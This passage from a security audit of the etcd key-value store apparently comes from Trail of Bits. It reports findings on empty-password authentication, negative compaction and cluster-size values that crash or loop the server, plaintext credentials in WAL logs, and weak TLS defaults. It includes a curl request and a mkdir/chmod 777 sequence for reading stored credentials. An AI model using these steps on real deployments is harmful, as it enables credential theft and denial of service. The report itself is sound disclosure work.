\\n\\nerror\\n\\n) {\\n \\n \\n\\n// (...)\\n \\n checkedRevision, err \\n\\n:=\\n\\n s.\\n\\nAuthStore\\n\\n().\\n\\nCheckPassword\\n\\n(r.Name, r.Password)\\n \\n \\n\\nif\\n\\n err != \\n\\nnil\\n\\n {\\n \\n \\n\\nif\\n\\n err != auth.ErrAuthNotEnabled {\\n \\n \\n\\nif\\n\\n lg != \\n\\nnil\\n\\n {\\n \\n lg.\\n\\nWarn\\n\\n(\\n \\n \\n\\n\\\"invalid authentication was requested\\\"\\n\\n,\\n \\n zap.\\n\\nString\\n\\n(\\n\\n\\\"user\\\"\\n\\n, r.Name),\\n \\n zap.\\n\\nError\\n\\n(err),\\n \\n )\\n \\n } \\n\\nelse\\n\\n {\\n \\n plog.\\n\\nErrorf\\n\\n(\\n\\n\\\"invalid authentication request to user \\n\\n%s\\n\\n was issued\\\"\\n\\n, r.Name)\\n \\n }\\n \\nFigure TOB-ETCD-009.2: The \\nAuthenticate\\n\\n endpoint function\\n \\n(\\netcdserver/v3_server.go#L410-L421\\n\\n).\\n \\n \\nA user with no password can be created with the \\netcdctl user add \\n \\n--no-password\\n\\n command and the authentication request can be performed with the\\n \\ncommand in Figure TOB-ETCD-009.3.\\n \\n \\ncurl -X POST http://127.0.0.1:2379/v3/auth/authenticate --data '{\\\"name\\\":\\n \\n\\\"\\\", \\\"password\\\": \\\"\\\"}'\\n \\nFigure TOB-ETCD-009.3: a \\ncurl\\n\\n command of authentication without a password.\\n \\n \\n \\n \\n© 2020 Trail of Bits\\n \\n Linux Foundation Etcd Assessment | 27\\n \\n Note that this requires authentication to be enabled, which can be done with the \\netcdctl\\n \\nauth enable\\n\\n command.\\n \\n \\nRecommendation\\n \\nShort term, ensure an appropriate error is logged when an authentication attempt has\\n \\nfailed due to a client certificate authentication. Ideally, each authentication method should\\n \\ngenerate unique log entries to allow operators to differentiate interactions.\\n \\n \\nLong term, validate whether all significant program paths are logged distinguishably and\\n \\ndocumented appropriately. This will help ensure proper logging, and detections can be\\n \\nbuilt on each authentication method.\\n \\n \\n \\n© 2020 Trail of Bits\\n \\n Linux Foundation Etcd Assessment | 28\\n \\n 1 0 . T h e “ T o t a l n u m b e r o f d b k e y s c o m p a c t e d ” m e t r i c i s n e v e r c h a n g e d\\n \\nSeverity: Informational\\nDifficulty: Undetermined\\n \\nType: Logging\\nFinding ID: TOB-ETCD-010\\n \\nTarget: \\nmvcc/kvstore_compaction.go, mvcc/metrics.go\\n \\n \\nDescription\\n \\nThe \\ndbCompactionKeysCounter\\n\\n (Figure TOB-ETCD-010.1) never changes. This counter is\\n \\nsupposed to be increased by the \\nkeyCompactions\\n\\n value in the \\nscheduleCompaction\\n \\nfunction (Figure TOB-ETCD-010.2) but the \\nkeyCompactions\\n\\n value never changes in that\\n \\nfunction. This can be misleading when debugging or auditing etcd.\\n \\n \\ndbCompactionKeysCounter = prometheus.\\n\\nNewCounter\\n\\n(\\n \\n \\n \\nprometheus.CounterOpts{\\n \\n \\n \\nNamespace\\n\\n: \\n\\n\\\"etcd_debugging\\\"\\n\\n,\\n \\n \\n \\nSubsystem\\n\\n: \\n\\n\\\"mvcc\\\"\\n\\n,\\n \\n \\n \\nName\\n\\n: \\n\\n\\\"db_compaction_keys_total\\\"\\n\\n,\\n \\n \\n \\nHelp\\n\\n: \\n\\n\\\"Total number of db keys compacted.\\\"\\n\\n,\\n \\n \\n \\n})\\n \\nFigure TOB-ETCD-010.1: The \\ndbCompactionKeysCounter\\n\\n counter\\n \\n(\\nmvcc/metrics.go#L170-L176\\n\\n).\\n \\n \\nfunc\\n\\n (\\n\\ns\\n\\n *\\n\\nstore\\n\\n) \\n\\nscheduleCompaction\\n\\n(compactMainRev int64, keep map[revision]struct{}) \\n\\nbool\\n\\n {\\n \\n totalStart \\n\\n:=\\n\\n time.\\n\\nNow\\n\\n()\\n \\n \\n\\n// (...)\\n \\n keyCompactions \\n\\n:=\\n\\n \\n\\n0\\n \\n \\n\\ndefer\\n\\n \\n\\nfunc\\n\\n() { dbCompactionKeysCounter.\\n\\nAdd\\n\\n(\\n\\nfloat64\\n\\n(keyCompactions)) }()\\n \\nFigure TOB-ETCD-010.2: The \\nscheduleCompaction\\n\\n function\\n \\n(\\nmvcc/kvstore_compaction.go#L27-L28\\n\\n).\\n \\n \\nRecommendation\\n \\nShort term, ensure the \\ndbCompactionKeysCounter\\n\\n variable properly represents the etcd\\n \\noperations that have occurred. This will help ensure the users can properly track and alert\\n \\non metrics.\\n \\n \\nLong term, expand unit tests to include testing metrics endpoints to ensure changes to the\\n \\nmetrics endpoints still produce the expected behavior. This will prevent future introduction\\n \\nof breaking changes and ensure the stability of loggable metrics.\\n \\n \\n \\n \\n© 2020 Trail of Bits\\n \\n Linux Foundation Etcd Assessment | 29\\n \\n 1 1 . A u t o c o m p a c t i o n r e t e n t i o n c a n b e s e t t o n e g a t i v e v a l u e c a u s i n g a\\n \\nc o m p a c t i o n l o o p o r a c r a s h\\n \\nSeverity: Low\\nDifficulty: Undetermined\\n \\nType: Data Validation\\nFinding ID: TOB-ETCD-011\\n \\nTarget: Automatic history compaction\\n \\n \\nDescription\\n \\nThe \\nparseCompactionRetention\\n\\n function (Figure TOB-ETCD-011.1) parses a \\nretention\\n \\nstring with \\nstrconv.Atoi\\n\\n function and casts the result to \\nint64\\n\\n to create a \\ntime.Duration\\n \\ninstance. This scheme allows the value to be negative and causes the node to execute the\\n \\nhistory compaction in a loop, taking more CPU than usual and spamming logs.\\n \\n \\nfunc\\n\\n \\n\\nparseCompactionRetention\\n\\n(\\n\\nmode\\n\\n, \\n\\nretention\\n\\n \\n\\nstring\\n\\n) (\\n\\nret\\n\\n \\n\\ntime\\n\\n.\\n\\nDuration\\n\\n, \\n\\nerr\\n\\n \\n\\nerror\\n\\n) {\\n \\n \\n \\nh, err \\n\\n:=\\n\\n strconv.\\n\\nAtoi\\n\\n(retention)\\n \\n \\n \\nif\\n\\n err == \\n\\nnil\\n\\n {\\n \\n \\n \\nswitch\\n\\n mode {\\n \\n \\n \\ncase\\n\\n CompactorModeRevision:\\n \\n \\n \\nret = time.\\n\\nDuration\\n\\n(\\n\\nint64\\n\\n(h))\\n \\n \\n \\ncase\\n\\n CompactorModePeriodic:\\n \\n \\n \\nret = time.\\n\\nDuration\\n\\n(\\n\\nint64\\n\\n(h)) * time.Hour\\n \\nFigure TOB-ETCD-011.1: The \\nparseCompactionRetention\\n\\n function\\n \\n(\\nembed/etcd.go#L812-L819\\n\\n).\\n \\n \\nSee the auto-compaction example in Figure TOB-ETCD-011.2.\\n \\n \\n$ ./bin/etcd --auto-compaction-retention=-1\\n \\n \\n# (...) - etcd initialisation logs\\n \\n \\n2020-02-02 00:23:57.320788 N | compactor: Starting auto-compaction at revision 1 (retention:\\n \\n-1h0m0s)\\n \\n2020-02-02 00:23:57.329580 N | compactor: Finished auto-compaction at revision 1\\n \\n2020-02-02 00:23:57.329790 N | compactor: Starting auto-compaction at revision 1 (retention:\\n \\n-1h0m0s)\\n \\n2020-02-02 00:23:57.338759 N | compactor: Finished auto-compaction at revision 1\\n \\nFigure TOB-ETCD-011.2: Launching etcd with the \\n--auto-compaction-retention=-1\\n\\n flag\\n \\nmakes its compaction thread execute the auto-compaction all the time.\\n \\n \\nAdditionally, on MacOS/Darwin when a zap logger is set and a negative auto compaction\\n \\nretention value is passed, the etcd crashes as shown in Figure TOB-ETCD-011.3.\\n \\n \\n$ ./bin/etcd --auto-compaction-retention=-1 --logger=zap\\n \\n \\n# (...) - etcd initialisation logs\\n \\n \\n{\\\"level\\\":\\\"info\\\",\\\"ts\\\":\\\"2020-02-02T00:29:40.797+0100\\\",\\\"caller\\\":\\\"v3compactor/periodic.go:135\\\",\\\"\\nmsg\\\":\\\"starting auto periodic compaction\\\",\\\"revision\\\":1,\\\"compact-period\\\":\\\"-1h0m0s\\\"}\\n \\npanic: runtime error: invalid memory address or nil pointer dereference\\n \\n \\n© 2020 Trail of Bits\\n \\n Linux Foundation Etcd Assessment | 30\\n \\n [signal SIGSEGV: segmentation violation code=0x1 addr=0x20 pc=0x1825115]\\n \\n \\ngoroutine 193 [running]:\\n \\n \\ngo.etcd.io/etcd/etcdserver.(*EtcdServer).processInternalRaftRequestOnce(0xc0002bc580,\\n \\n0x1e70d00, 0xc0001622c0, 0xc00000c040, 0x0, 0x0, 0x0, 0x0, 0x0, 0x0, ...)\\n \\n/Users/dc/tob/projects/audit-etcd/src/etcd-3.4.3/etcdserver/v3_server.go:646 +0x1c5\\n \\n \\ngo.etcd.io/etcd/etcdserver.(*EtcdServer).Compact(0xc0002bc580, 0x1e70d00, 0xc0001622c0,\\n \\n0xc0000ee070, 0x0, 0x0, 0x0)\\n \\n/Users/dc/tob/projects/audit-etcd/src/etcd-3.4.3/etcdserver/v3_server.go:208 +0xf1\\n \\n \\ngo.etcd.io/etcd/etcdserver/api/v3compactor.(*Periodic).Run.func1(0xc00016e3f0, 0xb,\\n \\n0xffffffac2e53f000, 0xfffffcb9cf476000)\\n \\n/Users/dc/tob/projects/audit-etcd/src/etcd-3.4.3/etcdserver/api/v3compactor/periodic.go:143\\n \\n+0x53c\\n \\n \\ncreated by go.etcd.io/etcd/etcdserver/api/v3compactor.(*Periodic).Run\\n \\n/Users/dc/tob/projects/audit-etcd/src/etcd-3.4.3/etcdserver/api/v3compactor/periodic.go:103\\n \\n+0xb0\\n \\nFigure TOB-ETCD-011.3: Launching etcd with the \\n--auto-compaction-retention=-1\\n \\n--logger=zap\\n\\n flags on MacOS makes it crash.\\n \\n \\nExploitation Scenario\\n \\nAn attacker who can control the auto compaction retention setting sets it to -1 so it keeps\\n \\ncompacting etcd forever and saving it to logs, filling all disk space and rendering etcd\\n \\nunable to process properly.\\n \\n \\nRecommendation\\n \\nShort term, do not accept a negative value of automatic compaction retention. Data\\n \\nvalidation should ensure the provided values are within the expected range.\\n \\n \\nLong term, account for negative values provided as the auto compaction value. This should\\n \\nalso be tested within the corresponding \\nTestAutoCompactionModeParse\\n\\n test.\\n \\n \\n \\n© 2020 Trail of Bits\\n \\n Linux Foundation Etcd Assessment | 31\\n \\n 1 2 . U s e r c r e d e n t i a l s a r e s t o r e d i n W A L l o g s i n p l a i n t e x t\\n \\nSeverity: Low\\nDifficulty: High\\n \\nType: Data Exposure\\nFinding ID: TOB-ETCD-012\\n \\nTarget: WAL\\n \\n \\nDescription\\n \\nUser credentials (login and password) are stored in WAL entries on each user\\n \\nauthentication. By default, the WAL files have correct permissions, and are only read-write\\n \\nfor the user who launched etcd, but if the path to the WAL log file has been created by an\\n \\nattacker, they could potentially read files containing the sensitive information stored by\\n \\netcd. \\nTOB-ETCD-003: Directories created via os.MkdirAll are not checked for permissions\\n \\nfurther details the semantics behind this problem.\\n \\n \\nThere is also an issue for this bug in \\netcd-io/etcd#10132\\n.\\n \\n \\nExploitation Scenario\\n \\nAn attacker is able to create directories on a server where etcd hasn't been launched yet.\\n \\nThey also create directories in the path where etcd will store its data. The attacker can then:\\n \\n \\n1.\\nCreate a fake etcd directory and file structure, and set file permissions so the etcd\\n \\nserver will be able to write there:\\n \\nmkdir -p default.etcd/member/wal\\n \\ntouch default.etcd/member/wal/0000000000000000-0000000000000000.wal\\n \\nchmod -R 777 default.etcd\\n \\n2.\\nWait until etcd server is launched for the first time, authorization is enabled, and\\n \\nsome requests are made.\\n \\n3.\\nRead the \\ndefault.etcd/member/wal/0000000000000000-0000000000000000.wal\\n \\nfile which contains credentials.\\n \\n \\nThis scenario exploits the \\nTOB-ETCD-003 issue\\n.\\n \\n \\nRecommendation\\n \\nShort term, do not store credentials in the WAL. Instead, consider having a centralized\\n \\nlocation for credentials that can be hardened appropriately, limiting the attack surface for\\n \\nsensitive information.\\n \\n \\nLong term, check if permissions of the files used by etcd are within an acceptable range. If\\n \\nthe permissions are too broad, etcd should exit with an error for further investigation.\\n \\n \\n \\n \\n \\n \\n© 2020 Trail of Bits\\n \\n Linux Foundation Etcd Assessment | 32\\n \\n \\n1 3 . N u l l p o i n t e r e x c e p t i o n w h e n c a l l i n g w a l . R e a d A l l a f t e r w a l . C r e a t e\\n \\nSeverity: Informational\\nDifficulty: Undetermined\\n \\nType: Data Validation\\nFinding ID: TOB-ETCD-013\\n \\nTarget: \\nwal/wal.go\\n \\n \\nDescription\\n \\nThe \\nwal.Create\\n\\n function creates a WAL object without setting a \\ndecoder\\n\\n field.\\n \\nSubsequently, when a \\nReadAll\\n\\n method is called on the resulting WAL object which uses the\\n \\ndecoder\\n\\n field, a nil pointer dereference is triggered. Since the \\nwal.Create\\n\\n function’s\\n \\ndocstring suggests that a \\nReadAll\\n\\n operation can be used after creating the object, this\\n \\nbehavior is counter-intuitive and may introduce unexpected failures if such a flow is used in\\n \\nthe future. Both functions appear in Figure TOB-ETCD-013.1.\\n \\n \\n// Create creates a WAL ready for appending records. The given metadata is\\n \\n// recorded at the head of each WAL file, and can be retrieved with ReadAll.\\n \\nfunc\\n\\n \\n\\nCreate\\n\\n(\\n\\nlg\\n\\n *\\n\\nzap\\n\\n.\\n\\nLogger\\n\\n, \\n\\ndirpath\\n\\n \\n\\nstring\\n\\n, \\n\\nmetadata\\n\\n []\\n\\nbyte\\n\\n) (*\\n\\nWAL\\n\\n, \\n\\nerror\\n\\n) { \\n\\n/* (...) */ \\n\\n}\\n \\n \\nfunc\\n\\n \\n\\n(\\n\\nw\\n\\n *\\n\\nWAL\\n\\n) ReadAll\\n\\n() (\\n\\nmetadata\\n\\n []\\n\\nbyte\\n\\n, \\n\\nstate\\n\\n \\n\\nraftpb\\n\\n.\\n\\nHardState\\n\\n, \\n\\nents\\n\\n []\\n\\nraftpb\\n\\n.\\n\\nEntry\\n\\n, \\n\\nerr\\n \\nerror\\n\\n) {\\n \\nw.mu.\\n\\nLock\\n\\n()\\n \\ndefer\\n\\n w.mu.\\n\\nUnlock\\n\\n()\\n \\n \\nrec \\n\\n:=\\n\\n &walpb.Record{}\\n \\ndecoder \\n\\n:=\\n\\n w.decoder\\n \\n \\nvar\\n\\n match \\n\\nbool\\n \\nfor\\n\\n err = \\n\\ndecoder.\\n\\ndecode\\n\\n(rec); err == \\n\\nnil\\n\\n; err = decoder.\\n\\ndecode\\n\\n(rec) {\\n \\nFigure TOB-ETCD-013.1: The \\nCreate\\n\\n (\\nwal/wal.go#L95-L497\\n\\n) and \\nReadAll\\n\\n functions\\n \\n(\\nwal/wal.go#L423-L431\\n\\n).\\n \\n \\nWhen the following issue occurs, a nil dereference triggers the panic. This issue was found\\n \\nduring the unit test fuzzing referenced in the \\nAppendix C. Fuzzing results\\n.\\n \\n \\npanic: runtime error: invalid memory address or nil pointer dereference\\n \\n[signal SIGSEGV: segmentation violation code=0x1 addr=0x0 pc=0x83f129]\\n \\n \\ngoroutine 1 [running]:\\n \\nsync.(*Mutex).Lock(...)\\n \\n /usr/local/go/src/sync/mutex.go:74\\n \\ngo.etcd.io/etcd/wal.(*decoder).decode(0x0, 0xc0003b3d50, 0x0, 0x0)\\n \\n \\n/home/sai/github/ToB/assurance/audits/go.etcd.io/etcd/wal/decoder.go:57\\n \\n+0x59\\n \\ngo.etcd.io/etcd/wal.(*WAL).ReadAll(0xc0000de2a0, 0x0, 0x0, 0x0, 0x0, 0x0,\\n \\n0x0, 0x0, 0x0, 0x0, ...)\\n \\n \\n© 2020 Trail of Bits\\n \\n Linux Foundation Etcd Assessment | 33\\n \\n \\n/home/sai/github/ToB/assurance/audits/go.etcd.io/etcd/wal/wal.go:431 +0x151\\n \\ngo.etcd.io/etcd/wal.GenCorpus()\\n \\n \\n/home/sai/github/ToB/assurance/audits/go.etcd.io/etcd/wal/wal_gen.go:62\\n \\n+0x3fe\\n \\nmain.main()\\n \\n /home/sai/github/ToB/assurance/audits/go.etcd.io/etcd/fuzz.go:20\\n \\n+0x20\\n \\n \\nProcess finished with exit code 2\\n \\nFigure TOB-ETCD-013.2: Nil dereference panic traceback.\\n \\n \\nExploitation Scenario\\n \\nA developer implements a new function or unit-test assuming the API supports the\\n \\nsubsequent creation and reading of records. This causes unexpected failures.\\n \\n \\nRecommendation\\n \\nShort term, initialize a decoder in the \\nwal.Create\\n\\n function, so the \\nWAL\\n\\n may decode\\n \\ninformation in the \\nwal.ReadAll\\n\\n function. This will prevent users from encountering an\\n \\nerror due to an uninitialized decoder.\\n \\n \\nLong term, check if the WAL has its decoder field set when it is going to be used, or refactor\\n \\nthe API to have a single function that creates a fully initialized WAL object.\\n \\n \\n \\n \\n \\n© 2020 Trail of Bits\\n \\n Linux Foundation Etcd Assessment | 34\\n \\n 1 4 . S u b m i t t i n g a - 1 f o r c l u s t e r n o d e s i z e r e s u l t s i n a n i n d e x o u t - o f - b o u n d\\n \\np a n i c d u r i n g s e r v i c e d i s c o v e r y\\n \\nSeverity: Low\\nDifficulty: Undetermined\\n \\nType: Data Validation\\nFinding ID: TOB-ETCD-014\\n \\nTarget: Service discovery\\n \\n \\nDescription\\n \\nWhen an etcd instance attempts to perform service discovery, if a cluster size of -1 is\\n \\nprovided, the etcd instance will panic without recovery.\\n \\n \\nThis \\npanic\\n\\n occurs because the etcd instance retrieves a value from a remote key-value\\n \\nstore (e.g. an existing etcd instance or cluster) where the value is stored as a string. To\\n \\nconvert the string to an integer, \\nstrconv.Atoi\\n\\n is used (Figure TOB-ETCD-014.1), which\\n \\nreturns an \\nint\\n\\n. Because an \\nint\\n\\n can be negative, a lack of validation results in this value\\n \\nindexing a slice. This in turn creates an index out-of-bounds panic (Figure TOB-ETCD-014.2)\\n \\nuntil other etcd instances are discoverable (Figure TOB-ETCD-014.3).\\n \\n \\nsize, err \\n\\n:=\\n\\n strconv.\\n\\nAtoi\\n\\n(resp.Node.Value)\\n \\nif\\n\\n err != \\n\\nnil\\n\\n {\\n \\nreturn\\n\\n \\n\\nnil\\n\\n, \\n\\n0\\n\\n, \\n\\n0\\n\\n, \\n\\nErrBadSizeKey\\n \\n}\\n \\nFigure TOB-ETCD-014.1: The use of \\nstrconv.Atoi\\n\\n without validating the parsed integer beyond\\n \\nwhether an error occurred during conversion\\n \\n(\\netcdserver/api/v2discovery/discovery.go#L250-L253\\n\\n).\\n \\n \\npanic: runtime error: slice bounds out of range [:-1]\\n \\ngoroutine 1 [running]:\\n \\ngo.etcd.io/etcd/etcdserver/api/v2discovery.(*discovery).waitNodes(0xc000294\\n6e0, 0xc000010210, 0x1, 0x1, 0xffffffffffffffff, 0xb, 0x0, 0x0, 0x0, 0x0,\\n \\n...)\\n \\n/.../etcdserver/api/v2discovery/discovery.go:341 +0x1bf6\\n \\ngo.etcd.io/etcd/etcdserver/api/v2discovery.(*discovery).joinCluster(0xc0002\\n946e0, 0xc0002cd040, 0x1d, 0x0, 0x0, 0x0, 0x0)\\n \\n/.../etcdserver/api/v2discovery/discovery.go:180 +0x2f6\\n \\ngo.etcd.io/etcd/etcdserver/api/v2discovery.JoinCluster(0x0, 0x7ffeefbff5de,\\n \\n0x54, 0x0, 0x0, 0x561d867318552b53, 0xc0002cd040, 0x1d, 0x0, 0x0, ...)\\n \\n/.../etcdserver/api/v2discovery/discovery.go:68 +0x16d\\n \\ngo.etcd.io/etcd/etcdserver.NewServer(0x20a4b58, 0x7, 0x7ffeefbff5de, 0x54,\\n \\n0x0, 0x0, 0xc0001cad80, 0x1, 0x1, 0xc0001caa80, ...)\\n \\n/.../etcdserver/server.go:389 +0x4148\\n \\ngo.etcd.io/etcd/embed.StartEtcd(0xc0001a5080, 0xc0001a5600, 0x0, 0x0)\\n \\n/.../embed/etcd.go:211 +0x1175\\n \\ngo.etcd.io/etcd/etcdmain.startEtcd(0xc0001a5080, 0x0, 0x0, 0x0, 0x0)\\n \\n/.../etcdmain/etcd.go:302 +0x7a\\n \\n \\n© 2020 Trail of Bits\\n \\n Linux Foundation Etcd Assessment | 35\\n \\n go.etcd.io/etcd/etcdmain.startEtcdOrProxyV2()\\n \\n/.../etcdmain/etcd.go:160 +0x3411\\n \\ngo.etcd.io/etcd/etcdmain.Main()\\n \\n/.../etcdmain/main.go:46 +0x43b\\n \\nmain.main()\\n \\n/.../main.go:28 +0x20\\n \\nFigure TOB-ETCD-014.2: The traceback for the out-of-bounds index \\npanic\\n\\n.\\n \\n \\nfunc\\n\\n \\n\\n(\\n\\nd\\n\\n *\\n\\ndiscovery\\n\\n) waitNodes\\n\\n(\\n\\nnodes\\n\\n []*\\n\\nclient\\n\\n.\\n\\nNode\\n\\n, \\n\\nsize\\n\\n \\n\\nint\\n\\n, \\n\\nindex\\n\\n \\n\\nuint64\\n\\n) ([]*\\n\\nclient\\n\\n.\\n\\nNode\\n\\n,\\n \\nerror\\n\\n) {\\n \\nif\\n\\n \\n\\nlen\\n\\n(nodes) > size {\\n \\nnodes = nodes[:size]\\n \\n}\\n \\nFigure TOB-ETCD-014.3: The negative \\nsize\\n\\n is used to index this array, resulting in an index\\n \\nout-of-bounds \\npanic\\n\\n (\\netcdserver/api/v2discovery/discovery.go#L339-L342\\n\\n)\\n.\\n \\n \\nExploitation Scenario\\n \\nAn attacker identifies an etcd cluster and discovery URL used for service discovery, then\\n \\nsubstitutes the size value used to bootstrap with a \\n-1\\n\\n. As a result, all instances attempting\\n \\nto discover other instances with that URL panic.\\n \\n \\nRecommendation\\n \\nShort term, ensure proper validation for all values retrieved and parsed from outside\\n \\nsources. This will help reduce the effect of a third-party system compromise on the\\n \\nintegrity of etcd.\\n \\n \\nLong term, consider consolidating validation routines into a specific set of helper libraries\\n \\nused across the codebase. Avoid using \\nstrconv.Atoi\\n\\n without validating the parsed value.\\n \\n \\n \\n \\n© 2020 Trail of Bits\\n \\n Linux Foundation Etcd Assessment | 36\\n \\n 1 5 . I n s e c u r e c i p h e r s a r e a l l o w e d b y d e f a u l t\\n \\nSeverity: Low\\nDifficulty: Undetermined\\n \\nType: Cryptography\\nFinding ID: TOB-ETCD-015\\n \\nTarget: \\npkg/tlsutil/cipher_suites.go\\n \\n \\nDescription\\n \\nThe TLS ciphers list supported by etcd contains weak ciphers. This list, as the comment in\\n \\nFigure TOB-ETCD-015.1 notes, was taken from Go cipher suites which \\ndisables some of the\\n \\nciphers by default\\n (marked with the \\nsuiteDefaultOff\\n\\n flag) but those ciphers are not\\n \\ndisabled by etcd. This allows for insecure connections to etcd by default, exposing its users\\n \\nto risk.\\n \\n \\nThis issue has been reported to etcd as \\nissue 10304\\n.\\n \\n \\n// cipher suites implemented by Go\\n \\n \\n// https://github.com/golang/go/blob/dev.boringcrypto.go1.10/src/crypto/tls/cipher_suites.go\\n \\n \\nvar\\n\\n cipherSuites = \\n\\nmap\\n\\n[\\n\\nstring\\n\\n]\\n\\nuint16\\n\\n{\\n \\n \\n \\n\\n\\\"TLS_RSA_WITH_RC4_128_SHA\\\"\\n\\n: tls.TLS_RSA_WITH_RC4_128_SHA,\\n \\n \\n \\n\\n\\\"TLS_RSA_WITH_3DES_EDE_CBC_SHA\\\"\\n\\n: tls.TLS_RSA_WITH_3DES_EDE_CBC_SHA,\\n \\n \\n \\n\\n\\\"TLS_RSA_WITH_AES_128_CBC_SHA\\\"\\n\\n: tls.TLS_RSA_WITH_AES_128_CBC_SHA,\\n \\n \\n \\n\\n\\\"TLS_RSA_WITH_AES_256_CBC_SHA\\\"\\n\\n: tls.TLS_RSA_WITH_AES_256_CBC_SHA,\\n \\n \\n \\n\\n\\\"TLS_RSA_WITH_AES_128_CBC_SHA256\\\"\\n\\n: tls.TLS_RSA_WITH_AES_128_CBC_SHA256,\\n \\n \\n \\n\\n\\\"TLS_RSA_WITH_AES_128_GCM_SHA256\\\"\\n\\n: tls.TLS_RSA_WITH_AES_128_GCM_SHA256,\\n \\n \\n \\n\\n\\\"TLS_RSA_WITH_AES_256_GCM_SHA384\\\"\\n\\n: tls.TLS_RSA_WITH_AES_256_GCM_SHA384,\\n \\n \\n \\n\\n\\\"TLS_ECDHE_ECDSA_WITH_RC4_128_SHA\\\"\\n\\n: tls.TLS_ECDHE_ECDSA_WITH_RC4_128_SHA,\\n \\n \\n \\n\\n\\\"TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA\\\"\\n\\n: tls.TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA,\\n \\n \\n \\n\\n\\\"TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA\\\"\\n\\n: tls.TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA,\\n \\n \\n \\n\\n\\\"TLS_ECDHE_RSA_WITH_RC4_128_SHA\\\"\\n\\n: tls.TLS_ECDHE_RSA_WITH_RC4_128_SHA,\\n \\n \\n \\n\\n\\\"TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA\\\"\\n\\n: tls.TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA,\\n \\n \\n \\n\\n\\\"TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA\\\"\\n\\n: tls.TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA,\\n \\n \\n \\n\\n\\\"TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA\\\"\\n\\n: tls.TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA,\\n \\n \\n \\n\\n\\\"TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256\\\"\\n\\n: tls.TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA256,\\n \\n \\n \\n\\n\\\"TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256\\\"\\n\\n: tls.TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA256,\\n \\n \\n \\n\\n\\\"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256\\\"\\n\\n: tls.TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256,\\n \\n \\n \\n\\n\\\"TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256\\\"\\n\\n: tls.TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256,\\n \\n \\n \\n\\n\\\"TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384\\\"\\n\\n: tls.TLS_ECDHE_RSA_WITH_AES_256_GCM_SHA384,\\n \\n \\n \\n\\n\\\"TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384\\\"\\n\\n: tls.TLS_ECDHE_ECDSA_WITH_AES_256_GCM_SHA384,\\n \\n \\n \\n\\n\\\"TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305\\\"\\n\\n: tls.TLS_ECDHE_RSA_WITH_CHACHA20_POLY1305,\\n \\n \\n \\n\\n\\\"TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305\\\"\\n\\n: tls.TLS_ECDHE_ECDSA_WITH_CHACHA20_POLY1305,\\n \\n \\n }\\n \\nFigure TOB-ETCD-015.1: Ciphers supported by etcd\\n \\n(\\npkg/tlsutil/cipher_suites.go#L19-L44\\n\\n).\\n \\n \\nRecommendation\\n \\nShort term, disable weak ciphers and require a special flag to enable them. By default, only\\n \\nenable the modern ciphers as recommended by the \\nMozilla Security/Server side document\\n.\\n \\n \\n \\nLong term, determine the most popular ciphers used by etcd clients and consider removing\\n \\nweak ciphers from support. This will help prevent clients from accidentally configuring an\\n \\ninsecure cipher when using etcd.\\n \\n \\n \\n© 2020 Trail of Bits\\n \\n Linux Foundation Etcd Assessment | 37\\n \\n 1 6 . e t c d i s i n s e c u r e b y d e f a u l t\\n \\nSeverity: Informational\\nDifficulty: Undetermined\\n \\nType: Cryptography\\nFinding ID: TOB-ETCD-016\\n \\nTarget: \\netcd configuration\\n \\n \\nDescription\\n \\nWhen etcd is started without a specific configuration, it:\\n \\n \\n●\\nServes traffic from unencrypted endpoint (\\nhttp://127.0.0.1:2379/\\n),\\n \\n●\\nUses simple tokens instead of cryptographically signed ones,\\n \\n●\\nAllows for unauthenticated client access, and\\n \\n●\\nDoesn’t use TLS for peer-to-peer connections.\\n \\n \\nAlthough logs are produced when starting etcd under the first two conditions (Figure\\n \\nTOB-ETCD-016.1), an inexperienced user might gain a false notion of the security of etcd\\n \\ndefaults and become prone to further configuring etcd insecurely.\\n \\n \\nauth: simple token is not cryptographically signed\\n \\nembed: serving insecure client requests on 127.0.0.1:2379, this is strongly discouraged!\\n \\nFigure TOB-ETCD-016.1: Warnings present when launching etcd with no configuration flags.\\n \\n \\nThis issue has been reported to etcd as \\nissue 9475\\n.\\n \\n \\nRecommendation\\n \\nShort term, deprecate the insecure defaults and promote more secure usage of etcd. For\\n \\nexample, list all insecure options at once during startup: describe the problems, suggest\\n \\nfixes, and link to a documentation page that would show how to set up etcd securely.\\n \\n \\nLong term, make etcd secure by default, by requiring a minimally secure launch\\n \\nconfiguration. To ease development, testing, and debugging, consider providing a simpler\\n \\nbut less secure configuration under \\n--insecure\\n\\n.\\n \\n \\n \\n© 2020 Trail of Bits\\n \\n Linux Foundation Etcd Assessment | 38\\n \\n 1 7 . U s e o f T L S I n s e c u r e S k i p V e r i f y\\n \\nSeverity: Informational\\nDifficulty: Undetermined\\n \\nType: Cryptography\\nFinding ID: TOB-ETCD-017\\n \\nTarget: \\nTLS Configuration\\n \\n \\nDescription\\n \\nTransport Layer Security (TLS) appears in multiple locations throughout the etcd codebase,\\n \\nsometimes including \\nInsecureSkipVerify\\n\\n to disable certificate checks. The lack of\\n \\nauthentication in some configurations presents opportunities for Monkey-In-The-Middle\\n \\ninterference.\\n \\n \\n// If the user wants to skip TLS verification then we should set\\n \\n// the InsecureSkipVerify flag in tls configuration.\\n \\nif\\n\\n scfg.insecureSkipVerify && cfg.TLS != \\n\\nnil\\n\\n {\\n \\n cfg.TLS.InsecureSkipVerify = \\n\\ntrue\\n \\n}\\n \\nFigure TOB-ETCD-017.1: Use of 